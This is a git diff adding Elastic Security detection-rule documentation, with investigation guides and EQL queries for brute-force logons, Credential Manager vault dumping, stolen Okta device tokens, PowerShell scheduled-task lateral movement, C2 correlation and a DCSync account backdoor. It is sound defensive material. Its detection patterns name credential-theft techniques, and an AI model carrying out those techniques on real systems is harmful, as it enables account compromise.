+      - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}}
+      - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}}
+- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the host which is the source of this activity.
+
+
+*False positive analysis*
+
+
+- Authentication misconfiguration or obsolete credentials.
+- Service account password expired.
+- Domain trust relationship issues.
+- Infrastructure or availability issues.
+
+
+*Related rules*
+
+
+- Multiple Logon Failure from the same Source Address - 48b6edfc-079d-4907-b43c-baffa243270d
+
+
+*Response and remediation*
+
+
+- Initiate the incident response process based on the outcome of the triage.
+- Isolate the source host to prevent further post-compromise behavior.
+- If the asset is exposed to the internet with RDP or other remote services available, take the necessary measures to restrict access to the asset. If not possible, limit the access via the firewall to only the needed IP addresses. Also, ensure the system uses robust authentication mechanisms and is patched regularly.
+- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services.
+- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components.
+- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector.
+- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+sequence by winlog.computer_name, source.ip with maxspan=5s
+  [authentication where host.os.type == "windows" and event.action == "logon-failed" and
+    /* event 4625 need to be logged */
+    winlog.logon.type : "Network" and user.id != null and 
+    source.ip != null and source.ip != "127.0.0.1" and source.ip != "::1" and 
+    not winlog.event_data.TargetUserSid : "S-1-0-0" and not user.id : "S-1-0-0" and 
+    not user.name : ("ANONYMOUS LOGON", "-", "*$") and not user.domain == "NT AUTHORITY" and
+
+    /* noisy failure status codes often associated to authentication misconfiguration */
+    not winlog.event_data.Status : ("0xC000015B", "0XC000005E", "0XC0000133", "0XC0000192")] with runs=5
+  [authentication where host.os.type == "windows" and event.action == "logged-in" and
+    /* event 4624 need to be logged */
+    winlog.logon.type : "Network" and
+    source.ip != null and source.ip != "127.0.0.1" and source.ip != "::1" and
+    not user.name : ("ANONYMOUS LOGON", "-", "*$") and not user.domain == "NT AUTHORITY"]
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Credential Access
+** ID: TA0006
+** Reference URL: https://attack.mitre.org/tactics/TA0006/
+* Technique:
+** Name: Brute Force
+** ID: T1110
+** Reference URL: https://attack.mitre.org/techniques/T1110/
+* Sub-technique:
+** Name: Password Guessing
+** ID: T1110.001
+** Reference URL: https://attack.mitre.org/techniques/T1110/001/
+* Sub-technique:
+** Name: Password Spraying
+** ID: T1110.003
+** Reference URL: https://attack.mitre.org/techniques/T1110/003/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-multiple-logon-failure-from-the-same-source-address.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-multiple-logon-failure-from-the-same-source-address.asciidoc
new file mode 100644
index 0000000000..533c9c160c
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-multiple-logon-failure-from-the-same-source-address.asciidoc
@@ -0,0 +1,169 @@
+[[prebuilt-rule-8-19-11-multiple-logon-failure-from-the-same-source-address]]
+=== Multiple Logon Failure from the same Source Address
+
+Identifies multiple consecutive logon failures from the same source address and within a short time interval. Adversaries will often brute force login attempts across multiple users with a common or known password, in an attempt to gain access to accounts.
+
+*Rule type*: eql
+
+*Rule indices*: 
+
+* logs-system.security*
+* logs-windows.forwarded*
+* winlogbeat-*
+
+*Severity*: medium
+
+*Risk score*: 47
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4625
+* https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=4624
+* https://social.technet.microsoft.com/Forums/ie/en-US/c82ac4f3-a235-472c-9fd3-53aa646cfcfd/network-information-missing-in-event-id-4624?forum=winserversecurity
+* https://serverfault.com/questions/379092/remote-desktop-failed-logon-event-4625-not-logging-ip-address-on-2008-terminal-s/403638#403638
+
+*Tags*: 
+
+* Domain: Endpoint
+* OS: Windows
+* Use Case: Threat Detection
+* Tactic: Credential Access
+* Resources: Investigation Guide
+* Data Source: Windows Security Event Logs
+
+*Version*: 115
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+
+*Investigating Multiple Logon Failure from the same Source Address*
+
+
+Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to guess the password using a repetitive or iterative mechanism systematically. More details can be found https://attack.mitre.org/techniques/T1110/001/[here].
+
+This rule identifies potential password guessing/brute force activity from a single address.
+
+> **Note**:
+> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide.
+
+
+*Possible investigation steps*
+
+
+- Investigate the logon failure reason code and the targeted user names.
+  - Prioritize the investigation if the account is critical or has administrative privileges over the domain.
+- Investigate the source IP address of the failed Network Logon attempts.
+  - Identify whether these attempts are coming from the internet or are internal.
+- Investigate other alerts associated with the involved users and source host during the past 48 hours.
+- Identify the source and the target computer and their roles in the IT environment.
+- Check whether the involved credentials are used in automation or scheduled tasks.
+- If this activity is suspicious, contact the account owner and confirm whether they are aware of it.
+- Examine the source host for derived artifacts that indicate compromise:
+  - Observe and collect information about the following activities in the alert source host:
+    - Attempts to contact external domains and addresses.
+      - Examine the DNS cache for suspicious or anomalous entries.
+        - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}}
+    - Examine the host services for suspicious or anomalous entries.
+      - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}}
+      - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}}
+      - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}}
+- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the host which is the source of this activity
+
+
+*False positive analysis*
+
+
+- Understand the context of the authentications by contacting the asset owners. This activity can be related to a new or existing automation or business process that is in a failing state.
+- Authentication misconfiguration or obsolete credentials.
+- Service account password expired.
+- Domain trust relationship issues.
+- Infrastructure or availability issues.
+
+
+*Related rules*
+
+
+- Multiple Logon Failure Followed by Logon Success - 4e85dc8a-3e41-40d8-bc28-91af7ac6cf60
+
+
+*Response and remediation*
+
+
+- Initiate the incident response process based on the outcome of the triage.
+- Isolate the source host to prevent further post-compromise behavior.
+- If the asset is exposed to the internet with RDP or other remote services available, take the necessary measures to restrict access to the asset. If not possible, limit the access via the firewall to only the needed IP addresses. Also, ensure the system uses robust authentication mechanisms and is patched regularly.
+- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services.
+- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components.
+- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector.
+- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).
+
+
+==== Setup
+
+
+
+*Setup*
+
+
+- In some cases the source network address in Windows events 4625/4624 is not populated due to Microsoft logging limitations (examples in the references links). This edge case will break the rule condition and it won't trigger an alert.
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+sequence by winlog.computer_name, source.ip with maxspan=10s
+  [authentication where host.os.type == "windows" and event.action == "logon-failed" and
+    /* event 4625 need to be logged */
+    winlog.logon.type : "Network" and
+    source.ip != null and source.ip != "127.0.0.1" and source.ip != "::1" and
+    not user.name : ("ANONYMOUS LOGON", "-", "*$") and not user.domain == "NT AUTHORITY" and
+
+    /*
+    noisy failure status codes often associated to authentication misconfiguration :
+     0xC000015B - The user has not been granted the requested logon type (also called the logon right) at this machine.
+     0XC000005E	- There are currently no logon servers available to service the logon request.
+     0XC0000133	- Clocks between DC and other computer too far out of sync.
+     0XC0000192	An attempt was made to logon, but the Netlogon service was not started.
+    */
+    not winlog.event_data.Status : ("0xC000015B", "0XC000005E", "0XC0000133", "0XC0000192")] with runs=10
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Credential Access
+** ID: TA0006
+** Reference URL: https://attack.mitre.org/tactics/TA0006/
+* Technique:
+** Name: Brute Force
+** ID: T1110
+** Reference URL: https://attack.mitre.org/techniques/T1110/
+* Sub-technique:
+** Name: Password Guessing
+** ID: T1110.001
+** Reference URL: https://attack.mitre.org/techniques/T1110/001/
+* Sub-technique:
+** Name: Password Spraying
+** ID: T1110.003
+** Reference URL: https://attack.mitre.org/techniques/T1110/003/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-multiple-vault-web-credentials-read.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-multiple-vault-web-credentials-read.asciidoc
new file mode 100644
index 0000000000..107198843f
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-multiple-vault-web-credentials-read.asciidoc
@@ -0,0 +1,134 @@
+[[prebuilt-rule-8-19-11-multiple-vault-web-credentials-read]]
+=== Multiple Vault Web Credentials Read
+
+Windows Credential Manager allows you to create, view, or delete saved credentials for signing into websites, connected applications, and networks. An adversary may abuse this to list or dump credentials stored in the Credential Manager for saved usernames and passwords. This may also be performed in preparation of lateral movement.
+
+*Rule type*: eql
+
+*Rule indices*: 
+
+* logs-system.security*
+* logs-windows.forwarded*
+* winlogbeat-*
+
+*Severity*: medium
+
+*Risk score*: 47
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=5382
+* https://www.elastic.co/security-labs/detect-credential-access
+
+*Tags*: 
+
+* Domain: Endpoint
+* OS: Windows
+* Use Case: Threat Detection
+* Tactic: Credential Access
+* Data Source: Windows Security Event Logs
+* Resources: Investigation Guide
+
+*Version*: 116
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Multiple Vault Web Credentials Read*
+
+
+Windows Credential Manager stores credentials for web logins, apps, and networks, facilitating seamless user access. Adversaries exploit this by extracting stored credentials, potentially aiding lateral movement within networks. The detection rule identifies suspicious activity by flagging consecutive credential reads from the same process, excluding benign actions like localhost access, thus highlighting potential credential dumping attempts.
+
+
+*Possible investigation steps*
+
+
+- Review the process associated with the flagged PID to determine if it is a legitimate application or potentially malicious. Check for known software or unusual executables.
+- Investigate the source and destination of the web credentials read by examining the winlog.event_data.Resource field to identify any suspicious or unexpected URLs.
+- Check the winlog.computer_name to identify the affected system and assess whether it is a high-value target or has been involved in previous suspicious activities.
+- Analyze the timeline of events around the alert to identify any preceding or subsequent suspicious activities that may indicate a broader attack pattern.
+- Verify the user context by examining the winlog.event_data.SubjectLogonId to ensure the activity was not performed by a privileged or administrative account without proper authorization.
+- Cross-reference the event with other security logs or alerts to identify any correlated activities that might suggest a coordinated attack or compromise.
+
+
+*False positive analysis*
+
+
+- Localhost access is a common false positive since the rule excludes localhost reads. Ensure that any legitimate applications accessing credentials via localhost are properly whitelisted to prevent unnecessary alerts.
+- Automated scripts or applications that frequently access web credentials for legitimate purposes may trigger the rule. Identify these processes and create exceptions for them to reduce noise.
+- System maintenance or updates might involve credential reads that are benign. Coordinate with IT teams to schedule these activities and temporarily adjust the rule sensitivity or add exceptions during these periods.
+- Security tools or monitoring software that perform regular checks on credential integrity could be flagged. Verify these tools and add them to an exception list if they are part of the organization's security infrastructure.
+- User behavior such as frequent password changes or credential updates might cause alerts. Educate users on the impact of their actions and consider adjusting the rule to accommodate expected behavior patterns.
+
+
+*Response and remediation*
+
+
+- Isolate the affected system from the network to prevent potential lateral movement by the adversary.
+- Terminate the suspicious process identified by the process ID (pid) involved in the credential reads to stop further credential access.
+- Conduct a thorough review of the affected system for any additional signs of compromise, such as unauthorized user accounts or scheduled tasks.
+- Change passwords for any accounts that may have been exposed, focusing on those stored in the Windows Credential Manager.
+- Implement network segmentation to limit access to critical systems and data, reducing the risk of lateral movement.
+- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the scope of the breach.
+- Enhance monitoring and logging on the affected system and similar endpoints to detect any future attempts at credential dumping or unauthorized access.
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+sequence by winlog.computer_name, winlog.process.pid with maxspan=1s
+
+ /* 2 consecutive vault reads from same pid for web creds */
+
+ [any where host.os.type == "windows" and event.code == "5382" and
+  (winlog.event_data.SchemaFriendlyName : "Windows Web Password Credential" and winlog.event_data.Resource : "http*") and
+  not winlog.event_data.SubjectLogonId : "0x3e7" and
+  not winlog.event_data.Resource : "http://localhost/"]
+
+ [any where host.os.type == "windows" and event.code == "5382" and
+  (winlog.event_data.SchemaFriendlyName : "Windows Web Password Credential" and winlog.event_data.Resource : "http*") and
+  not winlog.event_data.SubjectLogonId : "0x3e7" and
+  not winlog.event_data.Resource : "http://localhost/"]
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Credential Access
+** ID: TA0006
+** Reference URL: https://attack.mitre.org/tactics/TA0006/
+* Technique:
+** Name: OS Credential Dumping
+** ID: T1003
+** Reference URL: https://attack.mitre.org/techniques/T1003/
+* Technique:
+** Name: Credentials from Password Stores
+** ID: T1555
+** Reference URL: https://attack.mitre.org/techniques/T1555/
+* Sub-technique:
+** Name: Windows Credential Manager
+** ID: T1555.004
+** Reference URL: https://attack.mitre.org/techniques/T1555/004/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-okta-multiple-os-names-detected-for-a-single-dt-hash.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-okta-multiple-os-names-detected-for-a-single-dt-hash.asciidoc
new file mode 100644
index 0000000000..fe02806c7e
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-okta-multiple-os-names-detected-for-a-single-dt-hash.asciidoc
@@ -0,0 +1,109 @@
+[[prebuilt-rule-8-19-11-okta-multiple-os-names-detected-for-a-single-dt-hash]]
+=== Okta Multiple OS Names Detected for a Single DT Hash
+
+Identifies when a single Okta device token hash (dt_hash) is associated with multiple operating system types. This is highly anomalous because a device token is tied to a specific device and its operating system. This alert strongly indicates that an attacker has stolen a device token and is using it to impersonate a legitimate user from a different machine.
+
+*Rule type*: threshold
+
+*Rule indices*: 
+
+* logs-okta.system-*
+
+*Severity*: high
+
+*Risk score*: 73
+
+*Runs every*: 5m
+
+*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: None
+
+*Tags*: 
+
+* Domain: Identity
+* Data Source: Okta
+* Data Source: Okta System Logs
+* Use Case: Threat Detection
+* Tactic: Credential Access
+* Resources: Investigation Guide
+
+*Version*: 1
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+
+*Investigating Okta Multiple OS Names Detected for a Single DT Hash*
+
+
+This rule detects when a single Okta device token hash (dt_hash) is associated with multiple operating system types. This is highly anomalous because a device token is tied to a specific device and its operating system. This alert strongly indicates that an attacker has stolen a device token token and is using it to impersonate a legitimate user from a different machine.
+
+
+*Possible investigation steps*
+
+- Review the `okta.debug_context.debug_data.dt_hash` field to identify the specific device
+trust hash associated with multiple operating systems.
+- Examine the `user.email` field to determine which user account is associated with the suspicious activity
+- Analyze the `source.ip` field to identify the IP addresses from which the different operating systems were reported. Look for any unusual or unexpected locations.
+- Review the `user_agent.os.name` field to see the different operating systems reported for the
+same dt_hash. This will help identify the nature of the anomaly.
+- Check the `event.action` field to understand the context of the authentication events (e.g., MFA verification, standard authentication).
+- Investigate the timeline of events to see when the different operating systems were reported for the same dt_hash. Look for patterns or sequences that may indicate malicious activity.
+- Correlate this activity with other security events in your environment, such as failed login attempts, unusual access patterns, or alerts from endpoint security solutions.
+
+
+*False positive analysis*
+
+- Applications will tag the operating system as null when the device is not recognized as a managed device
+- In environments where users frequently switch between managed and unmanaged devices, this may lead to false positives.
+
+
+*Response and remediation*
+
+- Immediately investigate the user account associated with the suspicious activity to determine if it has been compromised.
+- If compromise is confirmed, reset the user's credentials and enforce multi-factor authentication (MFA)
+- Revoke any active sessions associated with the compromised account to prevent further unauthorized access.
+- Review and monitor the affected dt_hash for any further suspicious activity.
+- Educate users about the importance of device security and the risks associated with device tokens.
+- Implement additional monitoring for device token tokens and consider using conditional access policies to restrict access based on device compliance status.
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+data_stream.dataset: "okta.system"
+    and not okta.debug_context.debug_data.dt_hash: "-"
+    and user_agent.os.name: *
+    and event.action: (
+        "user.authentication.verify" or
+        "user.authentication.auth_via_mfa"
+    )
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Credential Access
+** ID: TA0006
+** Reference URL: https://attack.mitre.org/tactics/TA0006/
+* Technique:
+** Name: Steal Web Session Cookie
+** ID: T1539
+** Reference URL: https://attack.mitre.org/techniques/T1539/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-outbound-scheduled-task-activity-via-powershell.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-outbound-scheduled-task-activity-via-powershell.asciidoc
new file mode 100644
index 0000000000..8a37549336
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-outbound-scheduled-task-activity-via-powershell.asciidoc
@@ -0,0 +1,129 @@
+[[prebuilt-rule-8-19-11-outbound-scheduled-task-activity-via-powershell]]
+=== Outbound Scheduled Task Activity via PowerShell
+
+Identifies the PowerShell process loading the Task Scheduler COM DLL followed by an outbound RPC network connection within a short time period. This may indicate lateral movement or remote discovery via scheduled tasks.
+
+*Rule type*: eql
+
+*Rule indices*: 
+
+* winlogbeat-*
+* logs-endpoint.events.library-*
+* logs-endpoint.events.network-*
+* logs-windows.sysmon_operational-*
+
+*Severity*: medium
+
+*Risk score*: 47
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/
+* https://www.elastic.co/security-labs/hunting-for-lateral-movement-using-event-query-language
+
+*Tags*: 
+
+* Domain: Endpoint
+* OS: Windows
+* Use Case: Threat Detection
+* Tactic: Execution
+* Data Source: Elastic Defend
+* Data Source: Sysmon
+* Resources: Investigation Guide
+
+*Version*: 213
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Outbound Scheduled Task Activity via PowerShell*
+
+
+PowerShell, a powerful scripting language in Windows, can automate tasks via the Task Scheduler. Adversaries exploit this by creating scheduled tasks to execute malicious scripts, facilitating lateral movement or remote discovery. The detection rule identifies suspicious PowerShell activity by monitoring for the Task Scheduler DLL load and subsequent outbound RPC connections, signaling potential misuse.
+
+
+*Possible investigation steps*
+
+
+- Review the alert details to identify the specific host.id and process.entity_id associated with the suspicious activity.
+- Examine the process execution history on the affected host to determine if the PowerShell process (powershell.exe, pwsh.exe, or powershell_ise.exe) has executed any unexpected or unauthorized scripts.
+- Check the network logs for the host to identify any unusual or unauthorized outbound RPC connections, particularly those targeting port 135, and verify if the destination addresses are legitimate and expected.
+- Investigate the context of the taskschd.dll library load by reviewing recent scheduled tasks on the host to identify any newly created or modified tasks that could be linked to the alert.
+- Correlate the alert with other security events or logs from the same host or network segment to identify any patterns or additional indicators of compromise that may suggest lateral movement or remote discovery attempts.
+
+
+*False positive analysis*
+
+
+- Legitimate administrative tasks using PowerShell may trigger the rule if they involve loading the Task Scheduler DLL and making RPC connections. To manage this, identify and whitelist specific scripts or processes that are known to perform these actions regularly.
+- Automated system maintenance or monitoring tools might also load the Task Scheduler DLL and establish RPC connections. Review these tools and exclude their process IDs or hashes from the detection rule to prevent false alerts.
+- Software updates or installations that use PowerShell scripts could mimic the behavior detected by the rule. Monitor update schedules and temporarily disable the rule during these periods if necessary, or create exceptions for known update processes.
+- Developers or IT staff using PowerShell for legitimate remote management tasks may inadvertently trigger the rule. Implement user-based exceptions for trusted personnel or restrict the rule to non-administrative accounts to reduce false positives.
+
+
+*Response and remediation*
+
+
+- Isolate the affected host immediately from the network to prevent further lateral movement or data exfiltration.
+- Terminate the suspicious PowerShell process identified in the alert to stop any ongoing malicious activity.
+- Conduct a forensic analysis of the affected system to identify any additional malicious scheduled tasks or scripts and remove them.
+- Review and clean up any unauthorized scheduled tasks created on the system to ensure no persistence mechanisms remain.
+- Reset credentials for any accounts that were used or potentially compromised during the incident to prevent unauthorized access.
+- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the scope of the attack.
+- Implement enhanced monitoring for similar PowerShell and scheduled task activities across the network to detect and respond to future threats promptly.
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+sequence by host.id, process.entity_id with maxspan = 5s
+ [any where host.os.type == "windows" and (event.category == "library" or (event.category == "process" and event.action : "Image loaded*")) and
+  (?dll.name : "taskschd.dll" or file.name : "taskschd.dll") and process.name : ("powershell.exe", "pwsh.exe", "powershell_ise.exe")]
+ [network where host.os.type == "windows" and process.name : ("powershell.exe", "pwsh.exe", "powershell_ise.exe") and destination.port == 135 and not cidrmatch(destination.ip, "127.0.0.0/8", "::1/128")]
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Execution
+** ID: TA0002
+** Reference URL: https://attack.mitre.org/tactics/TA0002/
+* Technique:
+** Name: Scheduled Task/Job
+** ID: T1053
+** Reference URL: https://attack.mitre.org/techniques/T1053/
+* Sub-technique:
+** Name: Scheduled Task
+** ID: T1053.005
+** Reference URL: https://attack.mitre.org/techniques/T1053/005/
+* Technique:
+** Name: Command and Scripting Interpreter
+** ID: T1059
+** Reference URL: https://attack.mitre.org/techniques/T1059/
+* Sub-technique:
+** Name: PowerShell
+** ID: T1059.001
+** Reference URL: https://attack.mitre.org/techniques/T1059/001/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-panw-and-elastic-defend-command-and-control-correlation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-panw-and-elastic-defend-command-and-control-correlation.asciidoc
new file mode 100644
index 0000000000..5b39733959
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-panw-and-elastic-defend-command-and-control-correlation.asciidoc
@@ -0,0 +1,106 @@
+[[prebuilt-rule-8-19-11-panw-and-elastic-defend-command-and-control-correlation]]
+=== PANW and Elastic Defend - Command and Control Correlation
+
+This detection correlates Palo Alto Networks (PANW) command and control events with Elastic Defend network events to identify the source process performing the network activity.
+
+*Rule type*: eql
+
+*Rule indices*: 
+
+* logs-endpoint.events.network-*
+* logs-panw.panos-*
+
+*Severity*: medium
+
+*Risk score*: 47
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://attack.mitre.org/tactics/TA0011/
+* https://www.elastic.co/docs/reference/integrations/panw
+* https://www.elastic.co/docs/reference/integrations/endpoint
+
+*Tags*: 
+
+* Domain: Endpoint
+* OS: Linux
+* OS: Windows
+* OS: macOS
+* Use Case: Threat Detection
+* Tactic: Command and Control
+* Data Source: Elastic Defend
+* Data Source: PAN-OS
+* Resources: Investigation Guide
+
+*Version*: 1
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+
+*Investigating PANW and Elastic Defend - Command and Control Correlation*
+
+
+
+*Possible investigation steps*
+
+
+- Investigate in the Timeline feature the two events matching this correlation (PANW and Elastic Defend).
+- Review the process details like command_line, privileges, global relevance and reputation.
+- Assess the destination.ip reputation and global relevance.
+- Review the parent process execution details like command_line, global relevance and reputation.
+- Examine all network connection details performed by the process during last 48h.
+- Correlate the alert with other security events or logs to identify any patterns or additional indicators of compromise related to the same process or network activity.
+
+
+*False positive analysis*
+
+
+- Trusted system or third party processes performing network activity that looks like beaconing.
+
+
+*Response and remediation*
+
+
+- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration.
+- Terminate the suspicious processes and all associated children and parents.
+- Implement network-level controls to block traffic to the destination.ip.
+- Conduct a thorough review of the system's configuration files to identify unauthorized changes.
+- Reset credentials for any accounts associated with the source machine.
+- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected.
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+sequence by source.port, source.ip, destination.ip with maxspan=1m
+ [network where event.module == "panw" and event.action == "c2_communication"]
+ [network where event.module == "endpoint" and event.action in ("disconnect_received", "connection_attempted")]
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Command and Control
+** ID: TA0011
+** Reference URL: https://attack.mitre.org/tactics/TA0011/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-potential-active-directory-replication-account-backdoor.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-potential-active-directory-replication-account-backdoor.asciidoc
new file mode 100644
index 0000000000..c4b1335dd3
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-potential-active-directory-replication-account-backdoor.asciidoc
@@ -0,0 +1,149 @@
+[[prebuilt-rule-8-19-11-potential-active-directory-replication-account-backdoor]]
+=== Potential Active Directory Replication Account Backdoor
+
+Identifies the modification of the nTSecurityDescriptor attribute in a domain object with rights related to DCSync to a user/computer account. Attackers can use this backdoor to re-obtain access to hashes of any user/computer.
+
+*Rule type*: query
+
+*Rule indices*: 
+
+* winlogbeat-*
+* logs-system.security*
+* logs-windows.forwarded*
+
+*Severity*: medium
+
+*Risk score*: 47
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://twitter.com/menasec1/status/1111556090137903104
+* https://www.specterops.io/assets/resources/an_ace_up_the_sleeve.pdf
+* https://github.com/SigmaHQ/sigma/blob/master/rules/windows/builtin/security/win_security_account_backdoor_dcsync_rights.yml
+* https://learn.microsoft.com/en-us/windows/win32/adschema/r-ds-replication-get-changes-all
+* https://learn.microsoft.com/en-us/windows/win32/adschema/r-ds-replication-get-changes
+* https://learn.microsoft.com/en-us/windows/win32/adschema/r-ds-replication-get-changes-in-filtered-set
+
+*Tags*: 
+
+* Domain: Endpoint
+* OS: Windows
+* Use Case: Threat Detection
+* Tactic: Credential Access
+* Data Source: Active Directory
+* Use Case: Active Directory Monitoring
+* Data Source: Windows Security Event Logs
+* Resources: Investigation Guide
+
+*Version*: 109
+
+*Rule authors*: 
+
